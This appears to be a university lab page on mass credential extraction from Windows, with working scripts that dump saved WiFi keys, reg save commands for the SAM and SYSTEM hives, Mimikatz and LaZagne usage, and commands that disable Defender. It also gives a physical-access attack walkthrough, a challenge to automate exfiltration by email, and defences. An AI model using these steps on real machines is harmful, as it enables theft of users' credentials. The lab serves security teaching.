Skip to main content

Lab 3.1: Massive Credential Extraction

Learning Objectives​

By the end of this lab, you will be able to:

  • Extract stored WiFi passwords on Windows
  • Retrieve web browser passwords
  • Dump NTLM hashes of Windows accounts
  • Understand how Windows stores credentials
  • Assess security risks related to password storage
  • Apply appropriate protective measures

Estimated Duration​

35 minutes

Prerequisites​

  • Windows 10/11 VM with some saved passwords
  • Browser with saved passwords (Chrome, Firefox, or Edge)
  • Some saved WiFi networks
  • PowerShell

Professional Context​

In cybersecurity, credential extraction is a critical step in:

  • Authorized penetration testing
  • Forensic investigation
  • Security posture assessment
  • User awareness of risks

This lab demonstrates why:

  • 2 minutes of physical access = All your passwords stolen
  • Password managers are essential
  • Disk encryption is crucial
  • Never leave a computer unattended

⚠️ ETHICAL AND LEGAL WARNING - VERY IMPORTANT​

THIS LAB TEACHES EXTREMELY POWERFUL TECHNIQUES

The tools and techniques in this lab allow extracting ALL stored passwords on a Windows system in seconds.

AUTHORIZED ONLY:

  • On your own test VM
  • On systems you own
  • As part of a penetration test with a signed contract
  • For forensic investigation with a legal warrant

STRICTLY PROHIBITED:

  • On someone else's computer without written permission
  • To steal passwords
  • To access accounts that do not belong to you
  • To harm, spy, or hack

LEGAL CONSEQUENCES:

  • Password theft = Serious crime (Criminal Code art. 342.1)
  • Prison and significant fines
  • Permanent criminal record
  • Academic expulsion
  • Civil lawsuit

BY DOING THIS LAB, YOU COMMIT TO:

  • Using these techniques legally and ethically only
  • NEVER extracting someone else's credentials
  • Raising awareness of risks among your peers
  • Protecting your own systems

Part 1: WiFi Password Extraction​

Step 1.1: Reminder - Manual Method​

You already know this command from Lab 1.4:

netsh wlan show profiles
netsh wlan show profile name="MyWiFi" key=clear

Limitation: One command per network = Tedious!

Step 1.2: Automatic Extraction Script​

Create a file wifi_dump.bat:

@echo off
echo ============================================
echo MASSIVE EXTRACTION - WiFi Passwords
echo ============================================
echo.

cd %temp%
netsh wlan show profiles | findstr "Profile All" > wifi_names.txt

echo [WIFI NETWORKS FOUND]
type wifi_names.txt
echo.
echo.

echo [EXTRACTING PASSWORDS...]
echo. > wifi_passwords.txt

for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
    set "ssid=%%i"
    setlocal enabledelayedexpansion
    set "ssid=!ssid:~1!"
    echo ========================================== >> wifi_passwords.txt
    echo SSID: !ssid! >> wifi_passwords.txt
    echo ========================================== >> wifi_passwords.txt
    netsh wlan show profile name="!ssid!" key=clear | findstr "Key Content" >> wifi_passwords.txt
    echo. >> wifi_passwords.txt
    endlocal
)

echo [RESULTS]
type wifi_passwords.txt
echo.
echo.
echo File saved: %temp%\wifi_passwords.txt
pause

Run as admin:

wifi_dump.bat

BOOM! In seconds:

  • All WiFi networks listed
  • All passwords extracted
  • Saved in a file!

Questions:

  1. How many WiFi networks did you find?
  2. How many passwords did you extract?
  3. How long did the operation take?

Step 1.3: PowerShell Version (More Elegant)​

PowerShell Script wifi_extract.ps1:

Write-Host "=== WIFI EXTRACTION ===" -ForegroundColor Cyan

$profiles = netsh wlan show profiles | Select-String "Profile All" | ForEach-Object {
    $_ -replace ".*:\s+", ""
}

$results = @()

foreach ($profile in $profiles) {
    $profile = $profile.Trim()
    Write-Host "Extracting: $profile" -ForegroundColor Yellow
    
    $password = netsh wlan show profile name="$profile" key=clear | 
                Select-String "Key Content" | 
                ForEach-Object { $_ -replace ".*:\s+", "" }
    
    $results += [PSCustomObject]@{
        SSID = $profile
        Password = if($password) {$password} else {"(No password)"}
    }
}

$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation

Write-Host "`nSaved: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green

Run:

powershell -ExecutionPolicy Bypass -File wifi_extract.ps1

Result: Formatted table + CSV file!

Questions: 4. Do you prefer the BAT or PowerShell script? 5. Why would an attacker use this technique?

Part 2: Browser Password Extraction​

Step 2.1: Understanding Storage​

Browsers store passwords:

  • Chrome: Encrypted SQLite database
  • Firefox: SQLite database
  • Edge: Same as Chrome (Chromium)

Location:

  • Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • Firefox: %APPDATA%\Mozilla\Firefox\Profiles\
  • Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data

Encryption:

  • Windows Data Protection API (DPAPI)
  • Decryptable IF you have access to the user account!

Step 2.2: Manual Method - Chrome (Demonstration)​

Display passwords via Chrome:

  1. Open Chrome
  2. chrome://settings/passwords
  3. Click the eye to view a password
  4. Windows password required!

Limitation: One by one, graphical interface

But with access to files...

Step 2.3: PowerShell Script - Chrome Extraction​

IMPORTANT: Chrome must be closed!

Script chrome_passwords.ps1:

# Check if Chrome is installed
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

if (!(Test-Path $chromePath)) {
    Write-Host "Chrome is not installed or no passwords" -ForegroundColor Red
    exit
}

Write-Host "=== CHROME PASSWORD EXTRACTION ===" -ForegroundColor Cyan
Write-Host "WARNING: This is a DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""

# Copy the database (Chrome must be closed!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force

Write-Host "Database copied" -ForegroundColor Green
Write-Host "Location: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENT (preview):" -ForegroundColor Cyan

# Display some info (without full decryption for this basic lab)
# For full decryption: Use LaZagne or specialized tool
Write-Host "- SQLite file found"
Write-Host "- Size: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Last modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "For full extraction, use LaZagne (see Part 4)" -ForegroundColor Yellow

Remove-Item $tempDb -Force

Note: DPAPI decryption is complex. We will use an automated tool in the next step.

Part 3: NTLM Hashes of Windows Accounts​

Step 3.1: Understanding NTLM Hashes​

Windows stores passwords as hashes:

  • File: C:\Windows\System32\config\SAM
  • NTLM hash (NT LAN Manager)
  • Cannot be read directly (file locked)

But with SYSTEM privileges or recovery mode...

Step 3.2: Reg Save Method (Requires Admin)​

Run cmd as admin:

reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup

Result: SAM and SYSTEM files saved!

These files contain:

  • All local user accounts
  • Their NTLM hashes
  • Can be cracked offline!

Questions: 6. Did you manage to save SAM and SYSTEM? 7. What is the size of these files?

Step 3.3: Extraction with Mimikatz (Demonstration)​

Mimikatz is the reference tool for Windows credential extraction.

WARNING: Antivirus will detect it! This is normal.

Mimikatz Commands (conceptual demonstration):

privilege::debug
token::elevate
lsadump::sam

Result: ALL NTLM hashes of accounts displayed!

Note: For this lab, we do not install Mimikatz (detected as malware). We will use LaZagne instead (less detected).

Part 4: LaZagne - The Ultimate Tool (Installation and Use)​

Step 4.1: What is LaZagne?​

LaZagne = Open-source Python tool that extracts EVERYTHING:

  • WiFi passwords
  • Browser passwords (Chrome, Firefox, Edge, Opera, etc.)
  • Email passwords (Outlook, Thunderbird)
  • FTP passwords (FileZilla)
  • Git, SVN credentials
  • Database credentials
  • And much more!

In a single command!

Step 4.2: Download​

Option A: Precompiled Version (Recommended for this lab)

  1. Go to: https://github.com/AlessandroZ/LaZagne/releases
  2. Download lazagne.exe (Windows standalone version)

Option B: From source (if Python installed)

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all

WARNING: Antivirus will likely block it! Normal, it's an "offensive" tool.

Step 4.3: Temporarily Disable Windows Defender​

To use LaZagne, you need to disable Defender:

PowerShell as admin:

Set-MpPreference -DisableRealtimeMonitoring $true

Or via interface:

  1. Settings → Privacy & Security → Windows Security
  2. Virus & threat protection
  3. Manage settings
  4. Turn off Real-time protection

Add an exclusion:

Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"

Questions: 8. Did you manage to disable Defender? 9. Why does Defender detect LaZagne?

Step 4.4: Running LaZagne - TOTAL EXTRACTION​

THE MAGIC COMMAND:

lazagne.exe all

WAIT 10-30 SECONDS...

RESULT DISPLAYED:

########## User: YourName ##########

------------------- Wifi passwords -------------------

[+] SSID: MyWiFi_5G
    Password: SuperSecret123!

[+] SSID: Office_WiFi
    Password: Company2024

------------------- Chrome passwords -------------------

[+] URL: https://facebook.com
    Username: youremail@example.com
    Password: FacebookPassword123

[+] URL: https://gmail.com
    Username: you@gmail.com
    Password: GmailPassword456!

------------------- Firefox passwords -------------------

[+] URL: https://github.com
    Username: youraccount
    Password: GitHub789Pass

------------------- System Hash -------------------

[+] Username: Administrator
    Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

[+] 15 passwords found!

WOW! ALL PASSWORDS IN CLEAR TEXT!

Step 4.5: Save to a File​

To save the results:

lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt

Or in JSON (structured):

lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop

File created: credentials.json with EVERYTHING!

Questions: 10. How many passwords did LaZagne find? 11. Were you surprised by any passwords you had forgotten? 12. How long did the total extraction take?

Part 5: Real Attack Scenarios​

Step 5.1: Scenario "2 Minutes of Physical Access"​

Situation:

  • Victim goes to the bathroom (2 minutes)
  • Computer unlocked
  • Attacker has physical access

Attacker's actions:

Minute 1:

  1. Insert USB key with lazagne.exe
  2. Disable Defender (5 seconds): 
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
  3. Run LaZagne (10 seconds): 
    E:\lazagne.exe all > E:\pwds.txt

Minute 2: 4. Wait for results (20 seconds) 5. Remove USB key 6. Re-enable Defender:

powershell Set-MpPreference -DisableRealtimeMonitoring $false

RESULT:

  • All passwords stolen
  • No visible trace
  • Victim notices NOTHING!

Questions: 13. Does this scenario seem realistic to you? 14. Have you ever gone to the bathroom leaving your PC unlocked?

Step 5.2: Scenario "Malware"​

If malware runs on your PC:

  1. Downloads LaZagne from attacker server
  2. Runs in background (invisible)
  3. Extracts all credentials
  4. Sends to C&C server (Command & Control)
  5. Self-deletes (erases traces)

Total time: 30 seconds Detectable: Very difficult if well done!

Step 5.3: Scenario "Found USB"​

Classic attack:

  1. Attacker leaves USB key in parking/cafeteria
  2. Label: "Salaries 2024 - Confidential"
  3. Curious victim inserts it into their PC
  4. Autorun or victim double-clicks on file
  5. Script runs LaZagne
  6. Sends results by email to attacker

Victim: Just sees "Corrupted file" Reality: All their passwords stolen!

Questions: 15. Would you pick up a USB key found on the ground? 16. What to do if you find a USB key?

Part 6: Impact and Consequences​

Step 6.1: What Can an Attacker Do?​

With all your passwords, the attacker can:

Email:

  • Read all your emails
  • Send emails in your name
  • Reset other passwords

Social networks:

  • Impersonate you
  • Post in your name
  • Access your private messages

Banking:

  • Log into your online bank
  • Make transfers
  • Steal money

Professional:

  • Access the company's network
  • Steal industrial secrets
  • Compromise colleagues

Everything!

Step 6.2: Complete Attack Chain​

Realistic example:

  1. Password theft (this lab)
  2. Compromised email → Reset other accounts
  3. Social networks → Social engineering on contacts
  4. Company VPN → Corporate network access
  5. Internal servers → Data exfiltration
  6. Ransomware → Encryption and ransom demand

All this starts with: 2 minutes of physical access!

Questions: 17. What would be the impact if ALL your passwords were stolen today? 18. How long would it take to recover?

Step 6.3: Exercise - Personal Evaluation​

Count how many accounts you have:

  • Email: ___
  • Social networks: ___
  • Banking/Financial: ___
  • Professional: ___
  • Other important: ___
  • TOTAL: ___

If stored in browser: All stealable in 30 seconds!

Part 7: Protective Measures​

Step 7.1: NEVER Store Passwords in the Browser​

Solution 1: Dedicated Password Manager

Recommendations:

  • Bitwarden (free, open source)
  • 1Password (paid, excellent)
  • KeePassXC (free, local)

Advantages:

  • Strong encryption
  • Master password required
  • Not extractable by LaZagne
  • Strong password generation
  • Secure synchronization

Step 7.2: BitLocker Mandatory​

BitLocker protects against:

  • File extraction in recovery mode
  • Laptop theft
  • Physical access

With BitLocker enabled:

  • LaZagne cannot run without decryption password
  • SAM/SYSTEM files inaccessible
  • Maximum protection

Enable now:

# Check status
Get-BitLockerVolume

# Enable (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly

Step 7.3: Two-Factor Authentication (2FA)​

Even if password stolen:

  • 2FA prevents login
  • Additional code required
  • On phone or physical key

Enable 2FA everywhere:

  • Email (CRITICAL!)
  • Bank
  • Social networks
  • Professional accounts

2FA Applications:

  • Microsoft Authenticator
  • Google Authenticator
  • Authy

Step 7.4: Automatic Lock​

Windows Configuration:

# Lock after 1 minute
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT

Or manually:

  1. Settings → Accounts → Sign-in options
  2. Require sign-in: 1 minute

Always: Windows + L when stepping away!

Step 7.5: Antivirus and EDR​

Windows Defender:

  • Keep enabled at all times
  • Except for specific labs
  • Reactivate immediately after

Enterprise:

  • EDR (Endpoint Detection and Response)
  • Detects execution of LaZagne, Mimikatz
  • Alerts security team

Part 8: Detection and Cleanup​

Step 8.1: Check for Compromise​

Signs of credential extraction:

Windows Logs:

# Search for suspicious executions
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
    Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
    Select-Object TimeCreated, Message | Format-List

Suspicious files:

# Search for LaZagne or similar tools
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue

Defender Quarantine:

# Check quarantine
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime

Step 8.2: What to Do If Compromised?​

Immediate actions:

  1. Disconnect Internet (prevent exfiltration)
  2. Change ALL passwords (from another secure device)
  3. Enable 2FA everywhere
  4. Full antivirus scan
  5. Check banking and email logs
  6. Notify company (if professional PC)

Step 8.3: Complete Reset (If Necessary)​

If serious doubt:

  1. Backup important data (verified clean)
  2. Complete Windows reinstallation
  3. Change ALL passwords
  4. Monitor accounts for 6 months

Deliverables​

To submit:

  1. Analysis document (Word/PDF, 3-4 pages):

    • Answers to the 18 questions
    • Screenshot of extracted WiFi passwords (blurred!)
    • LaZagne results (ANONYMIZED!)
    • Analysis of your personal situation

  2. Screenshots (minimum 5):

    • wifi_dump script in action
    • LaZagne result (URLs and usernames OK, passwords MASKED!)
    • Saved SAM/SYSTEM files
    • BitLocker configuration
    • Installed password manager

  3. Personal action plan (1 page):

    • Current state of your passwords
    • Identified risks
    • Actions to take (prioritize)
    • Implementation timeline

  4. Awareness (optional):

    • Create a poster or presentation to raise awareness among your peers
    • "Why never leave your PC unattended"

Evaluation Criteria​

CriterionPoints
Successful extraction of WiFi credentials20%
Understanding of LaZagne and its operation20%
Risk analysis and attack scenarios20%
Realistic personal action plan20%
Quality of documentation and screenshots15%
Awareness (optional)+5% bonus

Quick Reference Commands​

WiFi Extraction​

netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear

Disable Defender​

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"

SAM Backup​

reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup

LaZagne​

lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ

BitLocker​

Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256

Troubleshooting​

Problem: Defender blocks LaZagne​

Solution:

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"

Problem: "Access denied" for SAM​

Solution: Run cmd as administrator.

Problem: LaZagne finds no passwords​

Solution:

  • Check that you have saved passwords
  • Close all browsers before running
  • Some password managers are not supported

Going Further (Optional)​

Challenge 1: Hash Cracking​

Use John the Ripper or Hashcat to crack the extracted NTLM hashes.

Challenge 2: Automated Extraction Script​

Create a script that:

  • Disables Defender
  • Runs LaZagne
  • Sends results by email
  • Re-enables Defender
  • Self-destructs

(For understanding only, never use maliciously!)

Challenge 3: Advanced Protection​

Implement:

  • Credential Guard (Windows)
  • Windows Hello for Business
  • Certificates instead of passwords
  • Smart cards

Additional Resources​

Conclusion​

This lab taught you:

  • How Windows stores credentials
  • Techniques for massive password extraction
  • Use of LaZagne for complete dump
  • Realistic attack scenarios
  • Effective protective measures

CRITICAL Lessons:

  1. 2 minutes of access = All your passwords stolen
  2. NEVER store passwords in the browser
  3. Dedicated password manager = Essential
  4. BitLocker = Ultimate protection
  5. 2FA = Backup if password stolen
  6. Automatic lock = Habit to adopt

FINAL MESSAGE:

You now know how EASY it is to steal all passwords from a computer.

Protect yourself:

  • Install a password manager NOW
  • Enable 2FA on all your accounts TODAY
  • NEVER leave your PC unattended
  • Raise awareness among your peers

With great power comes great responsibility.

Use this knowledge for GOOD: protect yourself and protect others.

Lab developed as part of the Operating Systems course - MODULE 3

⚠️ FINAL REMINDER: These techniques are for learning ONLY. Malicious use = Serious crime.